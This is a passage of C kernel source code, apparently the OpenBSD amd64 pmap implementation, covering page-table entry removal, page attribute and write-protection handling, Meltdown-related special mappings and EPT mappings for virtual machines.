ptes[offs]; if (pmap != pmap_kernel()) mtx_leave(&pmap->pm_mtx); if (__predict_true(level == 0 && pmap_valid_entry(pte))) { if (pap != NULL) *pap = (pte & pg_frame) | (va & PAGE_MASK); return 1; } if (level == 1 && (pte & (PG_PS|PG_V)) == (PG_PS|PG_V)) { if (pap != NULL) *pap = (pte & pg_lgframe) | (va & PAGE_MASK_L2); return 1; } return 0; } /* * pmap_zero_page: zero a page */ void pmap_zero_page(struct vm_page *pg) { pagezero(pmap_map_direct(pg)); } /* * pmap_flush_cache: flush the cache for a virtual address. */ void pmap_flush_cache(vaddr_t addr, vsize_t len) { vaddr_t i; if (curcpu()->ci_cflushsz == 0) { wbinvd_on_all_cpus(); return; } /* all cpus that have clflush also have mfence. */ mfence(); for (i = addr; i < addr + len; i += curcpu()->ci_cflushsz) clflush(i); mfence(); } /* * pmap_copy_page: copy a page */ void pmap_copy_page(struct vm_page *srcpg, struct vm_page *dstpg) { vaddr_t srcva = pmap_map_direct(srcpg); vaddr_t dstva = pmap_map_direct(dstpg); memcpy((void *)dstva, (void *)srcva, PAGE_SIZE); } /* * p m a p r e m o v e f u n c t i o n s * * functions that remove mappings */ /* * pmap_remove_ptes: remove PTEs from a PTP * * => PTP must be mapped into KVA * => PTP should be null if pmap == pmap_kernel() */ void pmap_remove_ptes(struct pmap *pmap, struct vm_page *ptp, vaddr_t ptpva, vaddr_t startva, vaddr_t endva, int flags, struct pv_entry **free_pvs) { struct pv_entry *pve; pt_entry_t *pte = (pt_entry_t *) ptpva; struct vm_page *pg; pt_entry_t opte; /* * note that ptpva points to the PTE that maps startva. this may * or may not be the first PTE in the PTP. * * we loop through the PTP while there are still PTEs to look at * and the wire_count is greater than 1 (because we use the wire_count * to keep track of the number of real PTEs in the PTP). */ for (/*null*/; startva < endva && (ptp == NULL || ptp->wire_count > 1) ; pte++, startva += PAGE_SIZE) { if (!pmap_valid_entry(*pte)) continue; /* VA not mapped */ if ((flags & PMAP_REMOVE_SKIPWIRED) && (*pte & PG_W)) { continue; } /* atomically save the old PTE and zap! it */ opte = pmap_pte_set(pte, 0); if (opte & PG_W) pmap->pm_stats.wired_count--; pmap->pm_stats.resident_count--; if (ptp != NULL) ptp->wire_count--; /* dropping a PTE */ pg = PHYS_TO_VM_PAGE(opte & pg_frame); /* * if we are not on a pv list we are done. */ if ((opte & PG_PVLIST) == 0) { #ifdef DIAGNOSTIC if (pg != NULL) panic("%s: managed page without PG_PVLIST: " "va 0x%lx, opte 0x%llx", __func__, startva, opte); #endif continue; } #ifdef DIAGNOSTIC if (pg == NULL) panic("%s: unmanaged page marked PG_PVLIST: " "va 0x%lx, opte 0x%llx", __func__, startva, opte); #endif /* sync R/M bits */ pmap_sync_flags_pte(pg, opte); pve = pmap_remove_pv(pg, pmap, startva); if (pve != NULL) { pve->pv_next = *free_pvs; *free_pvs = pve; } /* end of "for" loop: time for next pte */ } } /* * pmap_remove_pte: remove a single PTE from a PTP * * => PTP must be mapped into KVA * => PTP should be null if pmap == pmap_kernel() * => returns true if we removed a mapping */ int pmap_remove_pte(struct pmap *pmap, struct vm_page *ptp, pt_entry_t *pte, vaddr_t va, int flags, struct pv_entry **free_pvs) { struct pv_entry *pve; struct vm_page *pg; pt_entry_t opte; if (!pmap_valid_entry(*pte)) return 0; /* VA not mapped */ if ((flags & PMAP_REMOVE_SKIPWIRED) && (*pte & PG_W)) { return 0; } /* atomically save the old PTE and zap! it */ opte = pmap_pte_set(pte, 0); if (opte & PG_W) pmap->pm_stats.wired_count--; pmap->pm_stats.resident_count--; if (ptp != NULL) ptp->wire_count--; /* dropping a PTE */ pg = PHYS_TO_VM_PAGE(opte & pg_frame); /* * if we are not on a pv list we are done. */ if ((opte & PG_PVLIST) == 0) { #ifdef DIAGNOSTIC if (pg != NULL) panic("%s: managed page without PG_PVLIST: " "va 0x%lx, opte 0x%llx", __func__, va, opte); #endif return 1; } #ifdef DIAGNOSTIC if (pg == NULL) panic("%s: unmanaged page marked PG_PVLIST: " "va 0x%lx, opte 0x%llx", __func__, va, opte); #endif /* sync R/M bits */ pmap_sync_flags_pte(pg, opte); pve = pmap_remove_pv(pg, pmap, va); if (pve != NULL) { pve->pv_next = *free_pvs; *free_pvs = pve; } return 1; } /* * pmap_remove: top level mapping removal function * * => caller should not be holding any pmap locks */ void pmap_remove(struct pmap *pmap, vaddr_t sva, vaddr_t eva) { if (pmap->pm_type == PMAP_TYPE_EPT) pmap_remove_ept(pmap, sva, eva); else pmap_do_remove(pmap, sva, eva, PMAP_REMOVE_ALL); } /* * pmap_do_remove: mapping removal guts * * => caller should not be holding any pmap locks */ void pmap_do_remove(struct pmap *pmap, vaddr_t sva, vaddr_t eva, int flags) { pd_entry_t pde; int result; paddr_t ptppa; vaddr_t blkendva; struct vm_page *ptp; struct pv_entry *pve; struct pv_entry *free_pvs = NULL; vaddr_t va; int shootall = 0, shootself; struct pg_to_free empty_ptps; paddr_t scr3; TAILQ_INIT(&empty_ptps); scr3 = pmap_map_ptes(pmap); shootself = (scr3 == 0); /* * removing one page? take shortcut function. */ if (sva + PAGE_SIZE == eva) { if (pmap_pdes_valid(sva, &pde)) { /* PA of the PTP */ ptppa = pde & pg_frame; /* get PTP if non-kernel mapping */ if (pmap == pmap_kernel()) { /* we never free kernel PTPs */ ptp = NULL; } else { ptp = pmap_find_ptp(pmap, sva, ptppa, 1); #ifdef DIAGNOSTIC if (ptp == NULL) panic("%s: unmanaged PTP detected " "in shortcut path", __func__); #endif } /* do it! */ result = pmap_remove_pte(pmap, ptp, &PTE_BASE[pl1_i(sva)], sva, flags, &free_pvs); /* * if mapping removed and the PTP is no longer * being used, free it! */ if (result && ptp && ptp->wire_count <= 1) pmap_free_ptp(pmap, ptp, sva, &empty_ptps); pmap_tlb_shootpage(pmap, sva, shootself); pmap_unmap_ptes(pmap, scr3); pmap_tlb_shootwait(); } else { pmap_unmap_ptes(pmap, scr3); } goto cleanup; } if ((eva - sva > 32 * PAGE_SIZE) && sva < VM_MIN_KERNEL_ADDRESS) shootall = 1; for (va = sva; va < eva; va = blkendva) { /* determine range of block */ blkendva = x86_round_pdr(va + 1); if (blkendva > eva) blkendva = eva; /* * XXXCDC: our PTE mappings should never be removed * with pmap_remove! if we allow this (and why would * we?) then we end up freeing the pmap's page * directory page (PDP) before we are finished using * it when we hit it in the recursive mapping. this * is BAD. * * long term solution is to move the PTEs out of user * address space. and into kernel address space (up * with APTE). then we can set VM_MAXUSER_ADDRESS to * be VM_MAX_ADDRESS. */ if (pl_i(va, PTP_LEVELS) == PDIR_SLOT_PTE) /* XXXCDC: ugly hack to avoid freeing PDP here */ continue; if (!pmap_pdes_valid(va, &pde)) continue; /* PA of the PTP */ ptppa = pde & pg_frame; /* get PTP if non-kernel mapping */ if (pmap == pmap_kernel()) { /* we never free kernel PTPs */ ptp = NULL; } else { ptp = pmap_find_ptp(pmap, va, ptppa, 1); #ifdef DIAGNOSTIC if (ptp == NULL) panic("%s: unmanaged PTP detected", __func__); #endif } pmap_remove_ptes(pmap, ptp, (vaddr_t)&PTE_BASE[pl1_i(va)], va, blkendva, flags, &free_pvs); /* if PTP is no longer being used, free it! */ if (ptp && ptp->wire_count <= 1) { pmap_free_ptp(pmap, ptp, va, &empty_ptps); } } if (shootall) pmap_tlb_shoottlb(pmap, shootself); else pmap_tlb_shootrange(pmap, sva, eva, shootself); pmap_unmap_ptes(pmap, scr3); pmap_tlb_shootwait(); cleanup: while ((pve = free_pvs) != NULL) { free_pvs = pve->pv_next; pool_put(&pmap_pv_pool, pve); } while ((ptp = TAILQ_FIRST(&empty_ptps)) != NULL) { TAILQ_REMOVE(&empty_ptps, ptp, pageq); uvm_pagefree(ptp); } } /* * pmap_page_remove: remove a managed vm_page from all pmaps that map it * * => R/M bits are sync'd back to attrs */ void pmap_page_remove(struct vm_page *pg) { struct pv_entry *pve; struct pmap *pm; pt_entry_t opte; #ifdef DIAGNOSTIC pd_entry_t pde; #endif struct pg_to_free empty_ptps; struct vm_page *ptp; paddr_t scr3; int shootself; TAILQ_INIT(&empty_ptps); mtx_enter(&pg->mdpage.pv_mtx); while ((pve = pg->mdpage.pv_list) != NULL) { pmap_reference(pve->pv_pmap); pm = pve->pv_pmap; mtx_leave(&pg->mdpage.pv_mtx); /* XXX use direct map? */ scr3 = pmap_map_ptes(pm); /* locks pmap */ shootself = (scr3 == 0); /* * We dropped the pvlist lock before grabbing the pmap * lock to avoid lock ordering problems. This means * we have to check the pvlist again since somebody * else might have modified it. All we care about is * that the pvlist entry matches the pmap we just * locked. If it doesn't, unlock the pmap and try * again. */ mtx_enter(&pg->mdpage.pv_mtx); if ((pve = pg->mdpage.pv_list) == NULL || pve->pv_pmap != pm) { mtx_leave(&pg->mdpage.pv_mtx); pmap_unmap_ptes(pm, scr3); /* unlocks pmap */ pmap_destroy(pm); mtx_enter(&pg->mdpage.pv_mtx); continue; } pg->mdpage.pv_list = pve->pv_next; mtx_leave(&pg->mdpage.pv_mtx); #ifdef DIAGNOSTIC if (pve->pv_ptp != NULL && pmap_pdes_valid(pve->pv_va, &pde) && (pde & pg_frame) != VM_PAGE_TO_PHYS(pve->pv_ptp)) { printf("%s: pg=%p: va=%lx, pv_ptp=%p\n", __func__, pg, pve->pv_va, pve->pv_ptp); printf("%s: PTP's phys addr: " "actual=%lx, recorded=%lx\n", __func__, (unsigned long)(pde & pg_frame), VM_PAGE_TO_PHYS(pve->pv_ptp)); panic("%s: mapped managed page has " "invalid pv_ptp field", __func__); } #endif /* atomically save the old PTE and zap it */ opte = pmap_pte_set(&PTE_BASE[pl1_i(pve->pv_va)], 0); if (opte & PG_W) pve->pv_pmap->pm_stats.wired_count--; pve->pv_pmap->pm_stats.resident_count--; pmap_tlb_shootpage(pve->pv_pmap, pve->pv_va, shootself); pmap_sync_flags_pte(pg, opte); /* update the PTP reference count. free if last reference. */ if (pve->pv_ptp != NULL) { pve->pv_ptp->wire_count--; if (pve->pv_ptp->wire_count <= 1) { pmap_free_ptp(pve->pv_pmap, pve->pv_ptp, pve->pv_va, &empty_ptps); } } pmap_unmap_ptes(pve->pv_pmap, scr3); /* unlocks pmap */ pmap_destroy(pve->pv_pmap); pool_put(&pmap_pv_pool, pve); mtx_enter(&pg->mdpage.pv_mtx); } mtx_leave(&pg->mdpage.pv_mtx); pmap_tlb_shootwait(); while ((ptp = TAILQ_FIRST(&empty_ptps)) != NULL) { TAILQ_REMOVE(&empty_ptps, ptp, pageq); uvm_pagefree(ptp); } } /* * p m a p a t t r i b u t e f u n c t i o n s * functions that test/change managed page's attributes * since a page can be mapped multiple times we must check each PTE that * maps it by going down the pv lists. */ /* * pmap_test_attrs: test a page's attributes */ int pmap_test_attrs(struct vm_page *pg, unsigned int testbits) { struct pv_entry *pve; pt_entry_t *ptes; int level, offs; u_long mybits, testflags; testflags = pmap_pte2flags(testbits); if (pg->pg_flags & testflags) return 1; mybits = 0; mtx_enter(&pg->mdpage.pv_mtx); for (pve = pg->mdpage.pv_list; pve != NULL && mybits == 0; pve = pve->pv_next) { level = pmap_find_pte_direct(pve->pv_pmap, pve->pv_va, &ptes, &offs); mybits |= (ptes[offs] & testbits); } mtx_leave(&pg->mdpage.pv_mtx); if (mybits == 0) return 0; atomic_setbits_int(&pg->pg_flags, pmap_pte2flags(mybits)); return 1; } /* * pmap_clear_attrs: change a page's attributes * * => we return 1 if we cleared one of the bits we were asked to */ int pmap_clear_attrs(struct vm_page *pg, unsigned long clearbits) { struct pv_entry *pve; pt_entry_t *ptes, opte; u_long clearflags; int result, level, offs; clearflags = pmap_pte2flags(clearbits); result = pg->pg_flags & clearflags; if (result) atomic_clearbits_int(&pg->pg_flags, clearflags); mtx_enter(&pg->mdpage.pv_mtx); for (pve = pg->mdpage.pv_list; pve != NULL; pve = pve->pv_next) { level = pmap_find_pte_direct(pve->pv_pmap, pve->pv_va, &ptes, &offs); opte = ptes[offs]; if (opte & clearbits) { result = 1; pmap_pte_clearbits(&ptes[offs], (opte & clearbits)); pmap_tlb_shootpage(pve->pv_pmap, pve->pv_va, pmap_is_curpmap(pve->pv_pmap)); } } mtx_leave(&pg->mdpage.pv_mtx); pmap_tlb_shootwait(); return (result != 0); } /* * p m a p p r o t e c t i o n f u n c t i o n s */ /* * pmap_page_protect: change the protection of all recorded mappings * of a managed page * * => NOTE: this is an inline function in pmap.h */ /* see pmap.h */ /* * pmap_protect: set the protection in of the pages in a pmap * * => NOTE: this is an inline function in pmap.h */ /* see pmap.h */ /* * pmap_write_protect: write-protect pages in a pmap */ void pmap_write_protect(struct pmap *pmap, vaddr_t sva, vaddr_t eva, vm_prot_t prot) { pt_entry_t *spte, *epte; pt_entry_t clear = 0, set = 0; vaddr_t blockend; int shootall = 0, shootself; vaddr_t va; paddr_t scr3; scr3 = pmap_map_ptes(pmap); shootself = (scr3 == 0); /* should be ok, but just in case ... */ sva &= pg_frame; eva &= pg_frame; if (!(prot & PROT_READ)) set |= pg_xo; if (!(prot & PROT_WRITE)) clear = PG_RW; if (!(prot & PROT_EXEC)) set |= pg_nx; if ((eva - sva > 32 * PAGE_SIZE) && sva < VM_MIN_KERNEL_ADDRESS) shootall = 1; for (va = sva; va < eva ; va = blockend) { blockend = (va & L2_FRAME) + NBPD_L2; if (blockend > eva) blockend = eva; /* * XXXCDC: our PTE mappings should never be write-protected! * * long term solution is to move the PTEs out of user * address space. and into kernel address space (up * with APTE). then we can set VM_MAXUSER_ADDRESS to * be VM_MAX_ADDRESS. */ /* XXXCDC: ugly hack to avoid freeing PDP here */ if (pl_i(va, PTP_LEVELS) == PDIR_SLOT_PTE) continue; /* empty block? */ if (!pmap_pdes_valid(va, NULL)) continue; #ifdef DIAGNOSTIC if (va >= VM_MAXUSER_ADDRESS && va < VM_MAX_ADDRESS) panic("%s: PTE space", __func__); #endif spte = &PTE_BASE[pl1_i(va)]; epte = &PTE_BASE[pl1_i(blockend)]; for (/*null */; spte < epte ; spte++) { if (!pmap_valid_entry(*spte)) continue; pmap_pte_clearbits(spte, clear); pmap_pte_setbits(spte, set); } } if (shootall) pmap_tlb_shoottlb(pmap, shootself); else pmap_tlb_shootrange(pmap, sva, eva, shootself); pmap_unmap_ptes(pmap, scr3); pmap_tlb_shootwait(); } /* * end of protection functions */ /* * pmap_unwire: clear the wired bit in the PTE * * => mapping should already be in map */ void pmap_unwire(struct pmap *pmap, vaddr_t va) { pt_entry_t *ptes; int level, offs; level = pmap_find_pte_direct(pmap, va, &ptes, &offs); if (level == 0) { #ifdef DIAGNOSTIC if (!pmap_valid_entry(ptes[offs])) panic("%s: invalid (unmapped) va 0x%lx", __func__, va); #endif if (__predict_true((ptes[offs] & PG_W) != 0)) { pmap_pte_clearbits(&ptes[offs], PG_W); pmap->pm_stats.wired_count--; } #ifdef DIAGNOSTIC else { printf("%s: wiring for pmap %p va 0x%lx " "didn't change!\n", __func__, pmap, va); } #endif } #ifdef DIAGNOSTIC else { panic("%s: invalid PDE", __func__); } #endif } #if 0 /* * pmap_collect: free resources held by a pmap * * => optional function. * => called when a process is swapped out to free memory. */ void pmap_collect(struct pmap *pmap) { /* * free all of the pt pages by removing the physical mappings * for its entire address space. */ pmap_do_remove(pmap, VM_MIN_ADDRESS, VM_MAX_ADDRESS, PMAP_REMOVE_SKIPWIRED); } #endif void pmap_enter_special(vaddr_t va, paddr_t pa, vm_prot_t prot) { uint64_t l4idx, l3idx, l2idx, l1idx; pd_entry_t *pd, *ptp; paddr_t npa; struct pmap *pmap = pmap_kernel(); pt_entry_t *ptes; int level, offs; /* If CPU is secure, no need to do anything */ if (!cpu_meltdown) return; /* Must be kernel VA */ if (va < VM_MIN_KERNEL_ADDRESS) panic("%s: invalid special mapping va 0x%lx requested", __func__, va); if (pmap->pm_pdir_intel == NULL) pmap->pm_pdir_intel = pool_get(&pmap_pdp_pool, PR_WAITOK | PR_ZERO); l4idx = (va & L4_MASK) >> L4_SHIFT; /* PML4E idx */ l3idx = (va & L3_MASK) >> L3_SHIFT; /* PDPTE idx */ l2idx = (va & L2_MASK) >> L2_SHIFT; /* PDE idx */ l1idx = (va & L1_MASK) >> L1_SHIFT; /* PTE idx */ DPRINTF("%s: va=0x%llx pa=0x%llx l4idx=%lld l3idx=%lld " "l2idx=%lld l1idx=%lld\n", __func__, (uint64_t)va, (uint64_t)pa, l4idx, l3idx, l2idx, l1idx); /* Start at PML4 / top level */ pd = pmap->pm_pdir_intel; if (pd == NULL) panic("%s: PML4 not initialized for pmap @ %p", __func__, pmap); /* npa = physaddr of PDPT */ npa = pd[l4idx] & PMAP_PA_MASK; /* Valid PML4e for the 512GB region containing va? */ if (!npa) { /* No valid PML4E - allocate PDPT page and set PML4E */ ptp = pool_get(&pmap_pdp_pool, PR_WAITOK | PR_ZERO); if (!pmap_extract(pmap, (vaddr_t)ptp, &npa)) panic("%s: can't locate PDPT page", __func__); pd[l4idx] = (npa | PG_RW | PG_V | pg_crypt); DPRINTF("%s: allocated new PDPT page at phys 0x%llx, " "setting PML4e[%lld] = 0x%llx\n", __func__, (uint64_t)npa, l4idx, pd[l4idx]); } pd = (pd_entry_t *)PMAP_DIRECT_MAP(npa); if (pd == NULL) panic("%s: can't locate PDPT @ pa=0x%llx", __func__, (uint64_t)npa); /* npa = physaddr of PD page */ npa = pd[l3idx] & PMAP_PA_MASK; /* Valid PDPTe for the 1GB region containing va? */ if (!npa) { /* No valid PDPTe - allocate PD page and set PDPTe */ ptp = pool_get(&pmap_pdp_pool, PR_WAITOK | PR_ZERO); if (!pmap_extract(pmap, (vaddr_t)ptp, &npa)) panic("%s: can't locate PD page", __func__); pd[l3idx] = (npa | PG_RW | PG_V | pg_crypt); DPRINTF("%s: allocated new PD page at phys 0x%llx, " "setting PDPTe[%lld] = 0x%llx\n", __func__, (uint64_t)npa, l3idx, pd[l3idx]); } pd = (pd_entry_t *)PMAP_DIRECT_MAP(npa); if (pd == NULL) panic("%s: can't locate PD page @ pa=0x%llx", __func__, (uint64_t)npa); /* npa = physaddr of PT page */ npa = pd[l2idx] & PMAP_PA_MASK; /* Valid PDE for the 2MB region containing va? */ if (!npa) { /* No valid PDE - allocate PT page and set PDE */ ptp = pool_get(&pmap_pdp_pool, PR_WAITOK | PR_ZERO); if (!pmap_extract(pmap, (vaddr_t)ptp, &npa)) panic("%s: can't locate PT page", __func__); pd[l2idx] = (npa | PG_RW | PG_V | pg_crypt); DPRINTF("%s: allocated new PT page at phys 0x%llx, " "setting PDE[%lld] = 0x%llx\n", __func__, (uint64_t)npa, l2idx, pd[l2idx]); } pd = (pd_entry_t *)PMAP_DIRECT_MAP(npa); if (pd == NULL) panic("%s: can't locate PT page @ pa=0x%llx", __func__, (uint64_t)npa); DPRINTF("%s: setting PTE, PT page @ phys 0x%llx virt 0x%llx prot " "0x%llx was 0x%llx\n", __func__, (uint64_t)npa, (uint64_t)pd, (uint64_t)prot, (uint64_t)pd[l1idx]); pd[l1idx] = pa | protection_codes[prot] | PG_V | PG_W | pg_crypt; /* * Look up the corresponding U+K entry. If we're installing the * same PA into the U-K map then set the PG_G bit on both and copy * the cache-control bits from the U+K entry to the U-K entry. */ level = pmap_find_pte_direct(pmap, va, &ptes, &offs); if (__predict_true(level == 0 && pmap_valid_entry(ptes[offs]))) { if (((pd[l1idx] ^ ptes[offs]) & pg_frame) == 0) { pd[l1idx] |= PG_G | (ptes[offs] & (PG_N | PG_WT)); ptes[offs] |= PG_G; } else { DPRINTF("%s: special diffing mapping at %llx\n", __func__, (long long)va); } } else DPRINTF("%s: no U+K mapping for special mapping?\n", __func__); DPRINTF("%s: setting PTE[%lld] = 0x%llx\n", __func__, l1idx, pd[l1idx]); } void pmap_remove_ept(struct pmap *pmap, vaddr_t sgpa, vaddr_t egpa) { vaddr_t v; #if NVMM > 0 struct vmx_invept_descriptor vid; #endif /* NVMM > 0 */ mtx_enter(&pmap->pm_mtx); DPRINTF("%s: sgpa=0x%llx egpa=0x%llx\n", __func__, (uint64_t)sgpa, (uint64_t)egpa); for (v = sgpa; v < egpa + PAGE_SIZE; v += PAGE_SIZE) pmap_do_remove_ept(pmap, v); #if NVMM > 0 if (pmap->eptp != 0) { memset(&vid, 0, sizeof(vid)); vid.vid_eptp = pmap->eptp; DPRINTF("%s: flushing EPT TLB for EPTP 0x%llx\n", __func__, vid.vid_eptp); invept(IA32_VMX_INVEPT_SINGLE_CTX, &vid); } #endif /* NVMM > 0 */ mtx_leave(&pmap->pm_mtx); } void pmap_do_remove_ept(struct pmap *pmap, paddr_t gpa) { uint64_t l4idx, l3idx, l2idx, l1idx; struct vm_page *pg3, *pg2, *pg1; paddr_t npa3, npa2, npa1; pd_entry_t *pd4, *pd3, *pd2, *pd1; pd_entry_t *pptes; MUTEX_ASSERT_LOCKED(&pmap->pm_mtx); l4idx = (gpa & L4_MASK) >> L4_SHIFT; /* PML4E idx */ l3idx = (gpa & L3_MASK) >> L3_SHIFT; /* PDPTE idx */ l2idx = (gpa & L2_MASK) >> L2_SHIFT; /* PDE idx */ l1idx = (gpa & L1_MASK) >> L1_SHIFT; /* PTE idx */ /* Start at PML4 / top level */ pd4 = (pd_entry_t *)pmap->pm_pdir; if (pd4 == NULL) return; /* npa3 = physaddr of PDPT */ npa3 = pd4[l4idx] & PMAP_PA_MASK; if (!npa3) return; pd3 = (pd_entry_t *)PMAP_DIRECT_MAP(npa3); pg3 = PHYS_TO_VM_PAGE(npa3); /* npa2 = physaddr of PD page */ npa2 = pd3[l3idx] & PMAP_PA_MASK; if (!npa2) return; pd2 = (pd_entry_t *)PMAP_DIRECT_MAP(npa2); pg2 = PHYS_TO_VM_PAGE(npa2); /* npa1 = physaddr of PT page */ npa1 = pd2[l2idx] & PMAP_PA_MASK; if (!npa1) return; pd1 = (pd_entry_t *)PMAP_DIRECT_MAP(npa1); pg1 = PHYS_TO_VM_PAGE(npa1); if (pd1[l1idx] == 0) return; pd1[l1idx] = 0; pg1->wire_count--; pmap->pm_stats.resident_count--; if (pg1->wire_count > 1) return; pg1->wire_count = 0; pptes = (pd_entry_t *)PMAP_DIRECT_MAP(npa2); pptes[l2idx] = 0; uvm_pagefree(pg1); pmap->pm_stats.resident_count--; pg2->wire_count--; if (pg2->wire_count > 1) return; pg2->wire_count = 0; pptes = (pd_entry_t *)PMAP_DIRECT_MAP(npa3); pptes[l3idx] = 0; uvm_pagefree(pg2); pmap->pm_stats.resident_count--; pg3->wire_count--; if (pg3->wire_count > 1) return; pg3->wire_count = 0; pptes = pd4; pptes[l4idx] = 0; uvm_pagefree(pg3); pmap->pm_stats.resident_count--; } int pmap_enter_ept(struct pmap *pmap, paddr_t gpa, paddr_t hpa, vm_prot_t prot) { uint64_t l4idx, l3idx, l2idx, l1idx; pd_entry_t *pd, npte; struct vm_page *ptp, *pptp; paddr_t npa; struct uvm_object *obj; int ret = 0; if (gpa > MAXDSIZ) return ENOMEM; l4idx = (gpa & L4_MASK) >> L4_SHIFT; /* PML4E idx */ l3idx = (gpa & L3_MASK) >> L3_SHIFT; /* PDPTE idx */ l2idx = (gpa & L2_MASK) >> L2_SHIFT; /* PDE idx */ l1idx = (gpa & L1_MASK) >> L1_SHIFT; /* PTE idx */ mtx_enter(&pmap->pm_mtx); /* Start at PML4 / top level */ pd = (pd_entry_t *)pmap->pm_pdir; if (pd == NULL) { ret = ENOMEM; goto unlock; } /* npa = physaddr of PDPT */ npa = pd[l4idx] & PMAP_PA_MASK; /* Valid PML4e for the 512GB region containing gpa? */ if (!npa) { /* No valid PML4e - allocate PDPT page and set PML4e */ obj = &pmap->pm_obj[2]; /* PML4 UVM object */ ptp = uvm_pagealloc(obj, ptp_va2o(gpa, 3), NULL, UVM_PGA_USERESERVE|UVM_PGA_ZERO); if (ptp == NULL) { ret = ENOMEM; goto unlock; } atomic_clearbits_int(&ptp->pg_flags, PG_BUSY); /* * New PDPT page - we are setting the first entry, so set * the wired count to 1 */ ptp->wire_count = 1; /* Calculate phys address of this new PDPT page */ npa = VM_PAGE_TO_PHYS(ptp); /* * Higher levels get full perms; specific permissions are * entered at the lowest level. */ pd[l4idx] = (npa | EPT_R | EPT_W | EPT_X); pmap->pm_stats.resident_count++; pptp = ptp; } else { /* Already allocated PML4e */ pptp = PHYS_TO_VM_PAGE(npa); } pd = (pd_entry_t *)PMAP_DIRECT_MAP(npa); if (pd == NULL) panic("%s: can't locate PDPT @ pa=0x%llx", __func__, (uint64_t)npa); /* npa = physaddr of PD page */ npa = pd[l3idx] & PMAP_PA_MASK; /* Valid PDPTe for the 1GB region containing gpa? */ if (!npa) { /* No valid PDPTe - allocate PD page and set PDPTe */ obj = &pmap->pm_obj[1]; /* PDPT UVM object */ ptp = uvm_pagealloc(obj, ptp_va2o(gpa, 2), NULL, UVM_PGA_USERESERVE|UVM_PGA_ZERO); if (ptp == NULL) { ret = ENOMEM; goto unlock; } atomic_clearbits_int(&ptp->pg_flags, PG_BUSY); /* * New PD page - we are setting the first entry, so set * the wired count to 1 */ ptp->wire_count = 1; pptp->wire_count++; npa = VM_PAGE_TO_PHYS(ptp); /* * Higher levels get full perms; specific permissions are * entered at the lowest level. */ pd[l3idx] = (npa | EPT_R | EPT_W | EPT_X); pmap->pm_stats.resident_count++; pptp = ptp; } else { /* Already allocated PDPTe */ pptp = PHYS_TO_VM_PAGE(npa); } pd = (pd_entry_t *)PMAP_DIRECT_MAP(npa); if (pd == NULL) panic("%s: can't locate PD page @ pa=0x%llx", __func__, (uint64_t)npa); /* npa = physaddr of PT page */ npa = pd[l2idx] & PMAP_PA_MASK; /* Valid PDE for the 2MB region containing gpa? */ if (!npa) { /* No valid PDE - allocate PT page and set PDE */ obj = &pmap->pm_obj[0]; /* PDE UVM object */ ptp = uvm_pagealloc(obj, ptp_va2o(gpa, 1), NULL, UVM_PGA_USERESERVE|UVM_PGA_ZERO); if (ptp == NULL) { ret = ENOMEM; goto unlock; } atomic_clearbits_int(&ptp->pg_flags, PG_BUSY); ptp->wire_count = 1; pptp->wire_count++; npa = VM_PAGE_TO_PHYS(ptp); /* * Higher level get full perms; specific permissions are * entered at the lowest level. */ pd[l2idx] = (npa | EPT_R | EPT_W | EPT_X); pmap->pm_stats.resident_count++; } else { /* Find final ptp */ ptp = PHYS_TO_VM_PAGE(npa); if (ptp == NULL) panic("%s: ptp page vanished?", __func__); } pd = (pd_entry_t *)PMAP_DIRECT_MAP(npa); if (pd == NULL) panic("%s: can't locate PT page @ pa=0x%llx", __func__, (uint64_t)npa); npte = hpa | EPT_WB; if (prot & PROT_READ) npte |= EPT_R; if (prot & PROT_WRITE) npte |= EPT_W; if (prot & PROT_EXEC) npte |= EPT_X; if (pd[l1idx] == 0) { ptp->wire_count++; pmap->pm_stats.resident_count++; } else { /* XXX flush ept */ } pd[l1idx] = npte; unlock: mtx_leave(&pmap->pm_mtx); return ret; } /* * pmap_enter: enter a mapping into a pmap * * => must be done "now" ... no lazy-evaluation */ int pmap_enter(struct pmap *pmap, vaddr_t va, paddr_t pa, vm_prot_t prot, int flags) { pt_entry_t opte, npte; struct vm_page *ptp, *pg = NULL; struct pv_entry *pve, *opve = NULL; int ptpdelta, wireddelta, resdelta; int wired = (flags & PMAP_WIRED) != 0; int crypt = (flags & PMAP_NOCRYPT) == 0; int nocache = (pa & PMAP_NOCACHE) != 0; int wc = (pa & PMAP_WC) != 0; int error, shootself; paddr_t scr3; if (pmap->pm_type == PMAP_TYPE_EPT) return pmap_enter_ept(pmap, va, pa, prot); KASSERT(!(wc && nocache)); pa &= PMAP_PA_MASK; #ifdef DIAGNOSTIC if (va == (vaddr_t) PDP_BASE) panic("%s: trying to map over PDP!", __func__); /* sanity check: kernel PTPs should already have been pre-allocated */ if (va >= VM_MIN_KERNEL_ADDRESS && !pmap_valid_entry(pmap->pm_pdir[pl_i(va, PTP_LEVELS)])) panic("%s: missing kernel PTP for va %lx!", __func__, va); #endif pve = pool_get(&pmap_pv_pool, PR_NOWAIT); if (pve == NULL) { if (flags & PMAP_CANFAIL) { error = ENOMEM; goto out; } panic("%s: no pv entries available", __func__); } /* * map in ptes and get a pointer to our PTP (unless we are the kernel) */ scr3 = pmap_map_ptes(pmap); shootself = (scr3 == 0); if (pmap == pmap_kernel()) { ptp = NULL; } else { ptp = pmap_get_ptp(pmap, va); if (ptp == NULL) { if (flags & PMAP_CANFAIL) { pmap_unmap_ptes(pmap, scr3); error = ENOMEM; goto out; } panic("%s: get ptp failed", __func__); } } opte = PTE_BASE[pl1_i(va)]; /* old PTE */ /* * is there currently a valid mapping at our VA? */ if (pmap_valid_entry(opte)) { /* * first, calculate pm_stats updates. resident count will not * change since we are replacing/changing a valid mapping. * wired count might change... */ resdelta = 0; if (wired && (opte & PG_W) == 0) wireddelta = 1; else if (!wired && (opte & PG_W) != 0) wireddelta = -1; else wireddelta = 0; ptpdelta = 0; /* * is the currently mapped PA the same as the one we * want to map? */ if ((opte & pg_frame) == pa) { /* if this is on the PVLIST, sync R/M bit */ if (opte & PG_PVLIST) { pg = PHYS_TO_VM_PAGE(pa); #ifdef DIAGNOSTIC if (pg == NULL) panic("%s: same pa, PG_PVLIST " "mapping with unmanaged page: " "va 0x%lx, opte 0x%llx, pa 0x%lx", __func__, va, opte, pa); #endif pmap_sync_flags_pte(pg, opte); } else { #ifdef DIAGNOSTIC if (PHYS_TO_VM_PAGE(pa) != NULL) panic("%s: same pa, no PG_PVLIST " "mapping with managed page: " "va 0x%lx, opte 0x%llx, pa 0x%lx", __func__, va, opte, pa); #endif } goto enter_now; } /* * changing PAs: we must remove the old one first */ /* * if current mapping is on a pvlist, * remove it (sync R/M bits) */ if (opte & PG_PVLIST) { pg = PHYS_TO_VM_PAGE(opte & pg_frame); #ifdef DIAGNOSTIC if 